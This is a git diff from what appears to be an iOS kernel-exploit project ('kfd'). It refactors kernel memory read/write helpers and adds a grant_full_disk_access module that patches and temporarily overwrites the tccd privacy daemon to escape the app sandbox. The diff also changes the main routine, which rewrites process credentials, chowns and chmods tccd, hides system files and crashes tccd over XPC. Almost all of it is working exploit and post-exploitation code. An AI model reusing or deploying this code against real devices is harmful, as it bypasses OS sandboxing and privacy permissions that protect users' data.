off_mount_mnt_devvp); - nameptr = kread64(kfd, devvp + off_vnode_v_name); - name = kread64(kfd, nameptr); - devName = &name; - printf("[i] launchd proc->textvp->v_parent->v_name: %s, v_mount->mnt_devvp->v_name:%s\n", &textvp_name, devName); - - uint64_t root_vnode = kread64(kfd, sbin_vnode + off_vnode_v_parent) | 0xffffff8000000000; - textvp_nameptr = kread64(kfd, root_vnode + off_vnode_v_name); - textvp_name = kread64(kfd, textvp_nameptr); - devvp = kread64(kfd, (kread64(kfd, root_vnode + off_vnode_v_mount) | 0xffffff8000000000) + off_mount_mnt_devvp); - nameptr = kread64(kfd, devvp + off_vnode_v_name); - name = kread64(kfd, nameptr); - devName = &name; - printf("[i] launchd proc->textvp->v_parent->v_parent->v_name: %s, v_mount->mnt_devvp->v_name:%s\n", &textvp_name, devName); - printf("[+] rootvnode: 0x%llx\n", root_vnode); - - return root_vnode; -} - -uint64_t funVnodeRedirectFolder(uint64_t kfd, char* to, char* from) { - uint64_t to_vnode = getVnodeAtPath(kfd, to); - if(to_vnode == -1) { - printf("[-] Unable to get vnode, filename: %s", to); - return -1; - } - - uint8_t to_v_references = kread8(kfd, to_vnode + off_vnode_v_references); - uint32_t to_usecount = kread32(kfd, to_vnode + off_vnode_v_usecount); - uint32_t to_v_kusecount = kread32(kfd, to_vnode + off_vnode_v_kusecount); - - uint64_t from_vnode = getVnodeAtPath(kfd, from); - if(from_vnode == -1) { - printf("[-] Unable to get vnode, filename: %s", from); - return -1; - } - - uint64_t from_v_data = kread64(kfd, from_vnode+ off_vnode_v_data); - - kwrite32(kfd, to_vnode + off_vnode_v_usecount, to_usecount + 1); - kwrite32(kfd, to_vnode + off_vnode_v_kusecount, to_v_kusecount + 1); - kwrite8(kfd, to_vnode + off_vnode_v_references, to_v_references + 1); - kwrite64(kfd, to_vnode + off_vnode_v_data, from_v_data); - - return 0; -} - -uint64_t funVnodeOverwriteFile(uint64_t kfd, char* to) { - - int file_index = open(to, O_RDONLY); - - if (file_index == -1) return -1; - - uint64_t proc = getProc(kfd, getpid()); - - //get vnode - uint64_t filedesc_pac = kread64(kfd, proc + off_p_pfd); - uint64_t filedesc = filedesc_pac | 0xffffff8000000000; - uint64_t openedfile = kread64(kfd, filedesc + (8 * file_index)); - uint64_t fileglob_pac = kread64(kfd, openedfile + off_fp_fglob); - uint64_t fileglob = fileglob_pac | 0xffffff8000000000; - uint64_t vnode_pac = kread64(kfd, fileglob + off_fg_data); - uint64_t to_vnode = vnode_pac | 0xffffff8000000000; - printf("[i] %s to_vnode: 0x%llx\n", to, to_vnode); - - uint64_t to_v_mount_pac = kread64(kfd, findRootVnode(kfd) + off_vnode_v_mount); - uint64_t to_v_mount = to_v_mount_pac | 0xffffff8000000000; - - uint32_t to_m_flag = kread32(kfd, to_v_mount + off_mount_mnt_flag); - -#define MNT_RDONLY 0x00000001 /* read only filesystem */ - kwrite32(kfd, to_v_mount + off_mount_mnt_flag, to_m_flag & ~MNT_RDONLY); - - kwrite32(kfd, fileglob + off_fg_flag, O_ACCMODE); - - printf("[i] %s to_vnode->v_writecount: %d\n", to, kread32(kfd, to_vnode + off_vnode_v_writecount)); - kwrite32(kfd, to_vnode + off_vnode_v_writecount, kread32(kfd, to_vnode + off_vnode_v_writecount)+1); - - const char* data = "AAAAAAAAAAAAAAAAAAAAAAA"; - - size_t data_len = strlen(data); - - off_t file_size = lseek(file_index, 0, SEEK_END); - if (file_size == -1) { - perror("Failed lseek."); -// close(file); -// return; - } - - char* mapped = mmap(NULL, file_size, PROT_READ | PROT_WRITE, MAP_SHARED, file_index, 0); - if (mapped == MAP_FAILED) { - perror("Failed mmap."); -// close(file); -// return; - } - - memcpy(mapped, data, data_len); - - munmap(mapped, file_size); - - - kwrite32(kfd, to_v_mount + off_mount_mnt_flag, to_m_flag); - - close(file_index); - - return 0; -} - - -uint64_t fun_ipc_entry_lookup(uint64_t kfd, mach_port_name_t port_name) { - uint64_t proc = getProc(kfd, getpid()); - uint64_t proc_ro = kread64(kfd, proc + off_p_proc_ro); +uint64_t fun_ipc_entry_lookup(mach_port_name_t port_name) { + uint64_t proc = getProc(getpid()); + uint64_t proc_ro = kread64(proc + off_p_proc_ro); - uint64_t pr_proc = kread64(kfd, proc_ro + off_p_ro_pr_proc); + uint64_t pr_proc = kread64(proc_ro + off_p_ro_pr_proc); printf("[i] self proc->proc_ro->pr_proc: 0x%llx\n", pr_proc); - uint64_t pr_task = kread64(kfd, proc_ro + off_p_ro_pr_task); + uint64_t pr_task = kread64(proc_ro + off_p_ro_pr_task); printf("[i] self proc->proc_ro->pr_task: 0x%llx\n", pr_task); - uint64_t itk_space_pac = kread64(kfd, pr_task + 0x300); + uint64_t itk_space_pac = kread64(pr_task + 0x300); uint64_t itk_space = itk_space_pac | 0xffffff8000000000; printf("[i] self task->itk_space: 0x%llx\n", itk_space); //NEED TO FIGURE OUT SMR POINTER!!! -// uint32_t table_size = kread32(kfd, itk_space + 0x14); +// uint32_t table_size = kread32(itk_space + 0x14); // printf("[i] self task->itk_space table_size: 0x%x\n", table_size); // uint32_t port_index = MACH_PORT_INDEX(port_name); // if (port_index >= table_size) { @@ -456,16 +142,16 @@ uint64_t fun_ipc_entry_lookup(uint64_t kfd, mach_port_name_t port_name) { // return -1; // } // -// uint64_t is_table_pac = kread64(kfd, itk_space + 0x20); +// uint64_t is_table_pac = kread64(itk_space + 0x20); // uint64_t is_table = is_table_pac | 0xffffff8000000000; // printf("[i] self task->itk_space->is_table: 0x%llx\n", is_table); -// printf("[i] self task->itk_space->is_table read: 0x%llx\n", kread64(kfd, is_table)); +// printf("[i] self task->itk_space->is_table read: 0x%llx\n", kread64(is_table)); // // const int sizeof_ipc_entry_t = 0x18; // uint64_t ipc_entry = is_table + sizeof_ipc_entry_t * port_index; // printf("[i] self task->itk_space->is_table->ipc_entry: 0x%llx\n", ipc_entry); // -// uint64_t ie_object = kread64(kfd, ipc_entry + 0x0); +// uint64_t ie_object = kread64(ipc_entry + 0x0); // printf("[i] self task->itk_space->is_table->ipc_entry->ie_object: 0x%llx\n", ie_object); // // sleep(1); @@ -474,322 +160,131 @@ uint64_t fun_ipc_entry_lookup(uint64_t kfd, mach_port_name_t port_name) { return 0; } -uint64_t kread_ptr(uint64_t kfd, uint64_t kaddr) { - uint64_t ptr = kread64(kfd, kaddr); - if ((ptr >> 55) & 1) { - return ptr | 0xFFFFFF8000000000; - } - - return ptr; -} -void kreadbuf(uint64_t kfd, uint64_t kaddr, void* output, size_t size) -{ - uint64_t endAddr = kaddr + size; - uint32_t outputOffset = 0; - unsigned char* outputBytes = (unsigned char*)output; - - for(uint64_t curAddr = kaddr; curAddr < endAddr; curAddr += 4) - { - uint32_t k = kread32(kfd, curAddr); - - unsigned char* kb = (unsigned char*)&k; - for(int i = 0; i < 4; i++) - { - if(outputOffset == size) break; - outputBytes[outputOffset] = kb[i]; - outputOffset++; - } - if(outputOffset == size) break; - } -} - -uint64_t vm_map_get_header(uint64_t vm_map_ptr) -{ - return vm_map_ptr + 0x10; -} - -uint64_t vm_map_header_get_first_entry(uint64_t kfd, uint64_t vm_header_ptr) -{ - return kread_ptr(kfd, vm_header_ptr + 0x8); -} - -uint64_t vm_map_entry_get_next_entry(uint64_t kfd, uint64_t vm_entry_ptr) -{ - return kread_ptr(kfd, vm_entry_ptr + 0x8); -} - - -uint32_t vm_header_get_nentries(uint64_t kfd, uint64_t vm_header_ptr) -{ - return kread32(kfd, vm_header_ptr + 0x20); -} - -void vm_entry_get_range(uint64_t kfd, uint64_t vm_entry_ptr, uint64_t *start_address_out, uint64_t *end_address_out) -{ - uint64_t range[2]; - kreadbuf(kfd, vm_entry_ptr + 0x10, &range[0], sizeof(range)); - if (start_address_out) *start_address_out = range[0]; - if (end_address_out) *end_address_out = range[1]; -} - -//void vm_map_iterate_entries(uint64_t kfd, uint64_t vm_map_ptr, void (^itBlock)(uint64_t start, uint64_t end, uint64_t entry, BOOL *stop)) -void vm_map_iterate_entries(uint64_t kfd, uint64_t vm_map_ptr, void (^itBlock)(uint64_t start, uint64_t end, uint64_t entry, BOOL *stop)) -{ - uint64_t header = vm_map_get_header(vm_map_ptr); - uint64_t entry = vm_map_header_get_first_entry(kfd, header); - uint64_t numEntries = vm_header_get_nentries(kfd, header); - - while (entry != 0 && numEntries > 0) { - uint64_t start = 0, end = 0; - vm_entry_get_range(kfd, entry, &start, &end); - - BOOL stop = NO; - itBlock(start, end, entry, &stop); - if (stop) break; - - entry = vm_map_entry_get_next_entry(kfd, entry); - numEntries--; - } -} - -uint64_t vm_map_find_entry(uint64_t kfd, uint64_t vm_map_ptr, uint64_t address) -{ - __block uint64_t found_entry = 0; - vm_map_iterate_entries(kfd, vm_map_ptr, ^(uint64_t start, uint64_t end, uint64_t entry, BOOL *stop) { - if (address >= start && address < end) { - found_entry = entry; - *stop = YES; - } - }); - return found_entry; -} -#define FLAGS_PROT_SHIFT 7 -#define FLAGS_MAXPROT_SHIFT 11 -#define FLAGS_PROT_MASK 0x780 -#define FLAGS_MAXPROT_MASK 0x7800 -uint64_t getTask(uint64_t kfd, char* process) { - uint64_t proc = getProc(kfd, getpid()); - uint64_t proc_ro = kread64(kfd, proc + 0x18); - uint64_t pr_task = kread64(kfd, proc_ro + 0x8); - printf("[i] self proc->proc_ro->pr_task: 0x%llx\n", pr_task); - return pr_task; -} -void vm_map_entry_set_prot(uint64_t kfd, uint64_t entry_ptr, vm_prot_t prot, vm_prot_t max_prot) -{ - uint64_t flags = kread64(kfd, entry_ptr + 0x48); - uint64_t new_flags = flags; - new_flags = (new_flags & ~FLAGS_PROT_MASK) | ((uint64_t)prot << FLAGS_PROT_SHIFT); - new_flags = (new_flags & ~FLAGS_MAXPROT_MASK) | ((uint64_t)max_prot << FLAGS_MAXPROT_SHIFT); - if (new_flags != flags) { - kwrite64(kfd, entry_ptr + 0x48, new_flags); - } -} - -uint64_t start = 0, end = 0; - -uint64_t task_get_vm_map(uint64_t kfd, uint64_t task_ptr) -{ - return kread_ptr(kfd, task_ptr + 0x28); -} -#pragma mark overwrite2 -uint64_t funVnodeOverwrite2(uint64_t kfd, char* tofile, char* fromfile) { - printf("attempting opa's method\n"); - int to_file_index = open(tofile, O_RDONLY); - if (to_file_index == -1) return -1; - off_t to_file_size = lseek(to_file_index, 0, SEEK_END); - - int from_file_index = open(fromfile, O_RDONLY); - if (from_file_index == -1) return -1; - off_t from_file_size = lseek(from_file_index, 0, SEEK_END); - - if(to_file_size < from_file_size) { - close(from_file_index); - close(to_file_index); - printf("[-] File is too big to overwrite!\n"); - return -1; - } - - //mmap as read only - printf("mmap as readonly\n"); - - char* from_mapped = mmap(NULL, from_file_size, PROT_READ, MAP_PRIVATE, from_file_index, 0); - if (from_mapped == MAP_FAILED) { - perror("[-] Failed mmap (from_mapped)\n"); - close(from_file_index); - close(to_file_index); - return -1; - } - - // set prot to rw- - printf("task_get_vm_map -> vm ptr\n"); - uint64_t vm_ptr = task_get_vm_map(kfd, getTask(kfd, kfd)); - uint64_t entry_ptr = vm_map_find_entry(kfd, vm_ptr, (uint64_t)from_mapped); - printf("set prot to rw-"); - vm_map_entry_set_prot(kfd, entry_ptr, PROT_READ | PROT_WRITE, PROT_READ | PROT_WRITE); - - // WRITE -// const char* data = "AAAAAAAAAAAAAAAAAAAAAAA"; -// -// size_t data_len = strlen(data); -// off_t file_size = lseek(to_file_index, 0, SEEK_END); -// if (file_size == -1) { -// perror("Failed lseek."); -// } +int do_fun(void) { - char* to_mapped = mmap(NULL, to_file_size, PROT_READ | PROT_WRITE, MAP_SHARED, to_file_index, 0); - if (to_mapped == MAP_FAILED) { - perror("[-] Failed mmap (to_mapped)"); - close(from_file_index); - close(to_file_index); - return -1; - } - printf(to_mapped); - - memcpy(to_mapped, from_mapped, from_file_size); - printf("done???????"); - // Cleanup -// munmap(to_file_data, to_file_size); - munmap(from_mapped, from_file_size); - munmap(to_mapped, to_file_size); - close(from_file_index); - close(to_file_index); -// munmap(from_file_data, from_file_size); -// close(from_fd); - - // Return success or error code - return 0; -} - -int do_fun(uint64_t kfd) { _offsets_init(); - uint64_t kslide = get_kslide(kfd); + uint64_t kslide = get_kslide(); uint64_t kbase = 0xfffffff007004000 + kslide; printf("[i] Kernel base: 0x%llx\n", kbase); printf("[i] Kernel slide: 0x%llx\n", kslide); - uint64_t kheader64 = kread64(kfd, kbase); + uint64_t kheader64 = kread64(kbase); printf("[i] Kernel base kread64 ret: 0x%llx\n", kheader64); pid_t myPid = getpid(); - uint64_t selfProc = getProc(kfd, myPid); + uint64_t selfProc = getProc(myPid); printf("[i] self proc: 0x%llx\n", selfProc); - funUcred(kfd, selfProc); - funProc(kfd, selfProc); - //funVnodeHide(kfd, "/System/Library/Audio/UISounds/photoShutter.caf"); - //funCSFlags(kfd, "launchd"); - //funTask(kfd, "kfd"); + funUcred(selfProc); + funProc(selfProc); + funVnodeHide("/System/Library/Audio/UISounds/photoShutter.caf"); + funCSFlags("launchd"); + funTask("kfd"); //Patch - funVnodeChown(kfd, "/System/Library/PrivateFrameworks/TCC.framework/Support/tccd", 501, 501); + funVnodeChown("/System/Library/PrivateFrameworks/TCC.framework/Support/tccd", 501, 501); //Restore - funVnodeChown(kfd, "/System/Library/PrivateFrameworks/TCC.framework/Support/tccd", 0, 0); + funVnodeChown("/System/Library/PrivateFrameworks/TCC.framework/Support/tccd", 0, 0); //Patch - funVnodeChmod(kfd, "/System/Library/PrivateFrameworks/TCC.framework/Support/tccd", 0107777); + funVnodeChmod("/System/Library/PrivateFrameworks/TCC.framework/Support/tccd", 0107777); //Restore - funVnodeChmod(kfd, "/System/Library/PrivateFrameworks/TCC.framework/Support/tccd", 0100755); + funVnodeChmod("/System/Library/PrivateFrameworks/TCC.framework/Support/tccd", 0100755); mach_port_t host_self = mach_host_self(); printf("[i] mach_host_self: 0x%x\n", host_self); - fun_ipc_entry_lookup(kfd, host_self); - - printf("hiding home bar\n"); - funVnodeHide(kfd, "/System/Library/PrivateFrameworks/MaterialKit.framework/Assets.car"); - printf("hiding dock background\n"); - funVnodeHide(kfd, "/System/Library/PrivateFrameworks/CoreMaterial.framework/dockDark.materialrecipe"); - funVnodeHide(kfd, "/System/Library/PrivateFrameworks/CoreMaterial.framework/dockLight.materialrecipe"); - printf("hiding lockicons\n"); - funVnodeHide(kfd, "/System/Library/PrivateFrameworks/CoverSheet.framework/Assets.car"); - printf("enabling dynamic island\n"); - funVnodeChown(kfd, "/var/containers/Shared/SystemGroup/systemgroup.com.apple.mobilegestaltcache/Library/Caches/com.apple.MobileGestalt.plist", 501, 501); - funVnodeChmod(kfd, "/var/containers/Shared/SystemGroup/systemgroup.com.apple.mobilegestaltcache/Library/Caches/com.apple.MobileGestalt.plist", 0107777); - funVnodeOverwrite2(kfd, "/var/containers/Shared/SystemGroup/systemgroup.com.apple.mobilegestaltcache/Library/Caches/com.apple.MobileGestalt.plist", "/private/var/mobile/Library/Mobile Documents/com~apple~CloudDocs/com.apple.MobileGestalt.plist"); - - //funVnodeOverwriteFile(kfd, "/System/Library/Audio/UISounds/photoShutter.caf"); + fun_ipc_entry_lookup(host_self); - +// funVnodeOverwrite2("/System/Library/Audio/UISounds/photoShutter.caf", [NSString stringWithFormat:@"%@%@", NSBundle.mainBundle.bundlePath, @"/AAAA.bin"].UTF8String); -// Redirect Folders: NSHomeDirectory() + @"/Documents/mounted" -> /var +// funVnodeOverwriteFile("/System/Library/Audio/UISounds/photoShutter.caf", [NSString stringWithFormat:@"%@%@", NSBundle.mainBundle.bundlePath, @"/AAAA.bin"].UTF8String); +// + grant_full_disk_access(^(NSError* error) { + NSLog(@"[-] grant_full_disk_access returned error: %@", error); + }); +// patch_installd(); + + +// Redirect Folders: NSHomeDirectory() + @"/Documents/mounted" -> "/var/mobile/Library/Caches/com.apple.keyboards" // NSString *mntPath = [NSString stringWithFormat:@"%@%@", NSHomeDirectory(), @"/Documents/mounted"]; // [[NSFileManager defaultManager] removeItemAtPath:mntPath error:nil]; // [[NSFileManager defaultManager] createDirectoryAtPath:mntPath withIntermediateDirectories:NO attributes:nil error:nil]; -// funVnodeRedirectFolder(kfd, mntPath.UTF8String, "/private"); +// funVnodeRedirectFolder(mntPath.UTF8String, "/System/Library"); //<- should NOT be work. +// funVnodeRedirectFolder(mntPath.UTF8String, "/var/mobile/Library/Caches/com.apple.keyboards"); //<- should be work. // NSArray* dirs = [[NSFileManager defaultManager] contentsOfDirectoryAtPath:mntPath error:NULL]; -// NSLog(@"/var directory: %@", dirs); +// NSLog(@"mntPath directory list: %@", dirs); - //TODO: Redirect /System/Library/PrivateFrameworks/TCC.framework/Support/ -> NSHomeDirectory(), @"/Documents/mounted" +#if 0 + Redirect Folders: NSHomeDirectory() + @"/Documents/mounted" -> /var/mobile + funVnodeResearch(mntPath.UTF8String, mntPath.UTF8String); + dirs = [[NSFileManager defaultManager] contentsOfDirectoryAtPath:mntPath error:NULL]; + NSLog(@"[i] /var/mobile dirs: %@", dirs); - //Redirect Folders: NSHomeDirectory() + @"/Documents/mounted" -> /var/mobile -// funVnodeResearch(kfd, mntPath.UTF8String, mntPath.UTF8String); -// dirs = [[NSFileManager defaultManager] contentsOfDirectoryAtPath:mntPath error:NULL]; -// NSLog(@"[i] /var/mobile dirs: %@", dirs); + funVnodeOverwriteFile(mntPath.UTF8String, "/var/mobile/Library/Caches/com.apple.keyboards"); + [[NSFileManager defaultManager] copyItemAtPath:[NSString stringWithFormat:@"%@%@", NSBundle.mainBundle.bundlePath, @"/AAAA.bin"] toPath:[NSString stringWithFormat:@"%@%@", NSHomeDirectory(), @"/Documents/mounted/images/BBBB.bin"] error:nil]; -// funVnodeOverwriteFile(kfd, mntPath.UTF8String, "/var/mobile/Library/Caches/com.apple.keyboards"); -// [[NSFileManager defaultManager] copyItemAtPath:[NSString stringWithFormat:@"%@%@", NSBundle.mainBundle.bundlePath, @"/AAAA.bin"] toPath:[NSString stringWithFormat:@"%@%@", NSHomeDirectory(), @"/Documents/mounted/images/BBBB.bin"] error:nil]; + symlink("/System/Library/PrivateFrameworks/TCC.framework/Support/", [NSString stringWithFormat:@"%@%@", NSHomeDirectory(), @"/Documents/Support"].UTF8String); + mount("/System/Library/PrivateFrameworks/TCC.framework/Support/", mntPath, NULL, MS_BIND | MS_REC, NULL); + printf("mount ret: %d\n", mount("apfs", mntpath, 0, &mntargs)) + funVnodeChown("/System/Library/PrivateFrameworks/TCC.framework/Support/", 501, 501); + funVnodeChmod("/System/Library/PrivateFrameworks/TCC.framework/Support/", 0107777); -// symlink("/System/Library/PrivateFrameworks/TCC.framework/Support/", [NSString stringWithFormat:@"%@%@", NSHomeDirectory(), @"/Documents/Support"].UTF8String); -// mount("/System/Library/PrivateFrameworks/TCC.framework/Support/", mntPath, NULL, MS_BIND | MS_REC, NULL); -// printf("mount ret: %d\n", mount("apfs", mntpath, 0, &mntargs)) -// funVnodeChown(kfd, "/System/Library/PrivateFrameworks/TCC.framework/Support/", 501, 501); -// funVnodeChmod(kfd, "/System/Library/PrivateFrameworks/TCC.framework/Support/", 0107777); + funVnodeOverwriteFile(mntPath.UTF8String, "/"); -// funVnodeOverwriteFile(kfd, mntPath.UTF8String, "/"); + for(NSString *dir in dirs) { + NSString *mydir = [mntPath stringByAppendingString:@"/"]; + mydir = [mydir stringByAppendingString:dir]; + int fd_open = open(mydir.UTF8String, O_RDONLY); + printf("open %s, ret: %d\n", mydir.UTF8String, fd_open); + if(fd_open != -1) { + NSArray* dirs2 = [[NSFileManager defaultManager] contentsOfDirectoryAtPath:mydir error:NULL]; + NSLog(@"/var/%@ directory: %@", dir, dirs2); + } + close(fd_open); + } + printf("open ret: %d\n", open([mntPath stringByAppendingString:@"/mobile/Library"].UTF8String, O_RDONLY)); + printf("open ret: %d\n", open([mntPath stringByAppendingString:@"/containers"].UTF8String, O_RDONLY)); + printf("open ret: %d\n", open([mntPath stringByAppendingString:@"/mobile/Library/Preferences"].UTF8String, O_RDONLY)); + printf("open ret: %d\n", open("/var/containers/Shared/SystemGroup/systemgroup.com.apple.mobilegestaltcache/Library/Caches", O_RDONLY)); -// for(NSString *dir in dirs) { -// NSString *mydir = [mntPath stringByAppendingString:@"/"]; -// mydir = [mydir stringByAppendingString:dir]; -// int fd_open = open(mydir.UTF8String, O_RDONLY); -// printf("open %s, ret: %d\n", mydir.UTF8String, fd_open); -// if(fd_open != -1) { -// NSArray* dirs2 = [[NSFileManager defaultManager] contentsOfDirectoryAtPath:mydir error:NULL]; -// NSLog(@"/var/%@ directory: %@", dir, dirs2); -// } -// close(fd_open); -// } -// printf("open ret: %d\n", open([mntPath stringByAppendingString:@"/mobile/Library"].UTF8String, O_RDONLY)); -// printf("open ret: %d\n", open([mntPath stringByAppendingString:@"/containers"].UTF8String, O_RDONLY)); -// printf("open ret: %d\n", open([mntPath stringByAppendingString:@"/mobile/Library/Preferences"].UTF8String, O_RDONLY)); -// printf("open ret: %d\n", open("/var/containers/Shared/SystemGroup/systemgroup.com.apple.mobilegestaltcache/Library/Caches", O_RDONLY)); - -// dirs = [[NSFileManager defaultManager] contentsOfDirectoryAtPath:[mntPath stringByAppendingString:@"/mobile"] error:NULL]; -// NSLog(@"/var/mobile directory: %@", dirs); + dirs = [[NSFileManager defaultManager] contentsOfDirectoryAtPath:[mntPath stringByAppendingString:@"/mobile"] error:NULL]; + NSLog(@"/var/mobile directory: %@", dirs); -// [@"Hello, this is an example file!" writeToFile:[mntPath stringByAppendingString:@"/Hello.txt"] atomically:YES encoding:NSUTF8StringEncoding error:nil]; -// funVnodeOverwriteFile(kfd, "/System/Library/PrivateFrameworks/TCC.framework/Support/tccd", AAAApath.UTF8String); -// funVnodeChown(kfd, "/System/Library/PrivateFrameworks/TCC.framework/Support/tccd", 501, 501); -// funVnodeOverwriteFile(kfd, AAAApath.UTF8String, BBBBpath.UTF8String); -// funVnodeOverwriteFile(kfd, "/System/Library/AppPlaceholders/Stocks.app/AppIcon60x60@2x.png", "/System/Library/AppPlaceholders/Tips.app/AppIcon60x60@2x.png"); + [@"Hello, this is an example file!" writeToFile:[mntPath stringByAppendingString:@"/Hello.txt"] atomically:YES encoding:NSUTF8StringEncoding error:nil]; + funVnodeOverwriteFile("/System/Library/PrivateFrameworks/TCC.framework/Support/tccd", AAAApath.UTF8String); + funVnodeChown("/System/Library/PrivateFrameworks/TCC.framework/Support/tccd", 501, 501); + funVnodeOverwriteFile(AAAApath.UTF8String, BBBBpath.UTF8String); + funVnodeOverwriteFile("/System/Library/AppPlaceholders/Stocks.app/AppIcon60x60@2x.png", "/System/Library/AppPlaceholders/Tips.app/AppIcon60x60@2x.png"); -// xpc_crasher("com.apple.tccd"); -// xpc_crasher("com.apple.tccd"); -// sleep(10); -// funUcred(kfd, getProc(kfd, getPidByName(kfd, "tccd"))); -// funProc(kfd, getProc(kfd, getPidByName(kfd, "tccd"))); -// funVnodeChmod(kfd, "/System/Library/PrivateFrameworks/TCC.framework/Support/tccd", 0100755); + xpc_crasher("com.apple.tccd"); + xpc_crasher("com.apple.tccd"); + sleep(10); + funUcred(getProc(getPidByName("tccd"))); + funProc(getProc(getPidByName("tccd"))); + funVnodeChmod("/System/Library/PrivateFrameworks/TCC.framework/Support/tccd", 0100755); -// funVnodeOverwrite(kfd, AAAApath.UTF8String, AAAApath.UTF8String); + funVnodeOverwrite(AAAApath.UTF8String, AAAApath.UTF8String); -// funVnodeOverwrite(kfd, selfProc, "/System/Library/AppPlaceholders/Stocks.app/AppIcon60x60@2x.png", copyToAppDocs.UTF8String); + funVnodeOverwrite(selfProc, "/System/Library/AppPlaceholders/Stocks.app/AppIcon60x60@2x.png", copyToAppDocs.UTF8String); -//Overwrite tccd: -// NSString *copyToAppDocs = [NSString stringWithFormat:@"%@%@", NSHomeDirectory(), @"/Documents/tccd_patched.bin"]; -// remove(copyToAppDocs.UTF8String); -// [[NSFileManager defaultManager] copyItemAtPath:[NSString stringWithFormat:@"%@%@", NSBundle.mainBundle.bundlePath, @"/tccd_patched.bin"] toPath:copyToAppDocs error:nil]; -// chmod(copyToAppDocs.UTF8String, 0755); -// funVnodeOverwrite(kfd, selfProc, "/System/Library/PrivateFrameworks/TCC.framework/Support/tccd", [copyToAppDocs UTF8String]); - -// xpc_crasher("com.apple.tccd"); -// xpc_crasher("com.apple.tccd"); - +Overwrite tccd: + NSString *copyToAppDocs = [NSString stringWithFormat:@"%@%@", NSHomeDirectory(), @"/Documents/tccd_patched.bin"]; + remove(copyToAppDocs.UTF8String); + [[NSFileManager defaultManager] copyItemAtPath:[NSString stringWithFormat:@"%@%@", NSBundle.mainBundle.bundlePath, @"/tccd_patched.bin"] toPath:copyToAppDocs error:nil]; + chmod(copyToAppDocs.UTF8String, 0755); + funVnodeOverwrite(selfProc, "/System/Library/PrivateFrameworks/TCC.framework/Support/tccd", [copyToAppDocs UTF8String]); + + xpc_crasher("com.apple.tccd"); + xpc_crasher("com.apple.tccd"); +#endif return 0; } diff --git a/kfd/fun/grant_full_disk_access.h b/kfd/fun/grant_full_disk_access.h new file mode 100644 index 00000000..31a99b94 --- /dev/null +++ b/kfd/fun/grant_full_disk_access.h @@ -0,0 +1,5 @@ +#import + +/// Uses kfd exploit to grant the current app read/write access outside the sandbox. +void grant_full_disk_access(void (^_Nonnull completion)(NSError* _Nullable)); +bool patch_installd(void); diff --git a/kfd/fun/grant_full_disk_access.m b/kfd/fun/grant_full_disk_access.m new file mode 100644 index 00000000..1e6ea1a1 --- /dev/null +++ b/kfd/fun/grant_full_disk_access.m @@ -0,0 +1,624 @@ +#import +#import +#import +#import + +#import +// you'll need helpers.m from Ian Beer's write_no_write and vm_unaligned_copy_switch_race.m from +// WDBFontOverwrite +// Also, set an NSAppleMusicUsageDescription in Info.plist (can be anything) +// Please don't call this code on iOS 14 or below +// (This temporarily overwrites tccd, and on iOS 14 and above changes do not revert on reboot) +#import "grant_full_disk_access.h" +#import "helpers.h" +#import "vnode.h" +#import "thanks_opa334dev_htrowii.h" + +typedef NSObject* xpc_object_t; +typedef xpc_object_t xpc_connection_t; +typedef void (^xpc_handler_t)(xpc_object_t object); +xpc_object_t xpc_dictionary_create(const char* const _Nonnull* keys, + xpc_object_t _Nullable const* values, size_t count); +xpc_connection_t xpc_connection_create_mach_service(const char* name, dispatch_queue_t targetq, + uint64_t flags); +void xpc_connection_set_event_handler(xpc_connection_t connection, xpc_handler_t handler); +void xpc_connection_resume(xpc_connection_t connection); +void xpc_connection_send_message_with_reply(xpc_connection_t connection, xpc_object_t message, + dispatch_queue_t replyq, xpc_handler_t handler); +xpc_object_t xpc_connection_send_message_with_reply_sync(xpc_connection_t connection, + xpc_object_t message); +xpc_object_t xpc_bool_create(bool value); +xpc_object_t xpc_string_create(const char* string); +xpc_object_t xpc_null_create(void); +const char* xpc_dictionary_get_string(xpc_object_t xdict, const char* key); + +int64_t sandbox_extension_consume(const char* token); + +// MARK: - patchfind + +struct grant_full_disk_access_offsets { + uint64_t offset_addr_s_com_apple_tcc_; + uint64_t offset_padding_space_for_read_write_string; + uint64_t offset_addr_s_kTCCServiceMediaLibrary; + uint64_t offset_auth_got__sandbox_init; + uint64_t offset_just_return_0; + bool is_arm64e; +}; + +static bool patchfind_sections(void* executable_map, + struct segment_command_64** data_const_segment_out, + struct symtab_command** symtab_out, + struct dysymtab_command** dysymtab_out) { + struct mach_header_64* executable_header = executable_map; + struct load_command* load_command = executable_map + sizeof(struct mach_header_64); + for (int load_command_index = 0; load_command_index < executable_header->ncmds; + load_command_index++) { + switch (load_command->cmd) { + case LC_SEGMENT_64: { + struct segment_command_64* segment = (struct segment_command_64*)load_command; + if (strcmp(segment->segname, "__DATA_CONST") == 0) { + *data_const_segment_out = segment; + } + break; + } + case LC_SYMTAB: { + *symtab_out = (struct symtab_command*)load_command; + break; + } + case LC_DYSYMTAB: { + *dysymtab_out = (struct dysymtab_command*)load_command; + break; + } + } + load_command = ((void*)load_command) + load_command->cmdsize; + } + return true; +} + +static uint64_t patchfind_get_padding(struct segment_command_64* segment) { + struct section_64* section_array = ((void*)segment) + sizeof(struct segment_command_64); + struct section_64* last_section = §ion_array[segment->nsects - 1]; + return last_section->offset + last_section->size; +} + +static uint64_t patchfind_pointer_to_string(void* executable_map, size_t executable_length, + const char* needle) { + void* str_offset = memmem(executable_map, executable_length, needle, strlen(needle) + 1); + if (!str_offset) { + return 0; + } + uint64_t str_file_offset = str_offset - executable_map; + for (int i = 0; i < executable_length; i += 8) { + uint64_t val = *(uint64_t*)(executable_map + i); + if ((val & 0xfffffffful) == str_file_offset) { + return i; + } + } + return 0; +} + +static uint64_t patchfind_return_0(void* executable_map, size_t executable_length) { + // TCCDSyncAccessAction::sequencer + // mov x0, #0 + // ret + static const char needle[] = {0x00, 0x00, 0x80, 0xd2, 0xc0, 0x03, 0x5f, 0xd6}; + void* offset = memmem(executable_map, executable_length, needle, sizeof(needle)); + if (!offset) { + return 0; + } + return offset - executable_map; +} + +static uint64_t patchfind_got(void* executable_map, size_t executable_length, + struct segment_command_64* data_const_segment, + struct symtab_command* symtab_command, + struct dysymtab_command* dysymtab_command, + const char* target_symbol_name) { + uint64_t target_symbol_index = 0; + for (int sym_index = 0; sym_index < symtab_command->nsyms; sym_index++) { + struct nlist_64* sym = + ((struct nlist_64*)(executable_map + symtab_command->symoff)) + sym_index; + const char* sym_name = executable_map + symtab_command->stroff + sym->n_un.n_strx; + if (strcmp(sym_name, target_symbol_name)) { + continue; + } + // printf("%d %llx\n", sym_index, (uint64_t)(((void*)sym) - executable_map)); + target_symbol_index = sym_index; + break; + } + + struct section_64* section_array = + ((void*)data_const_segment) + sizeof(struct segment_command_64); + struct section_64* first_section = 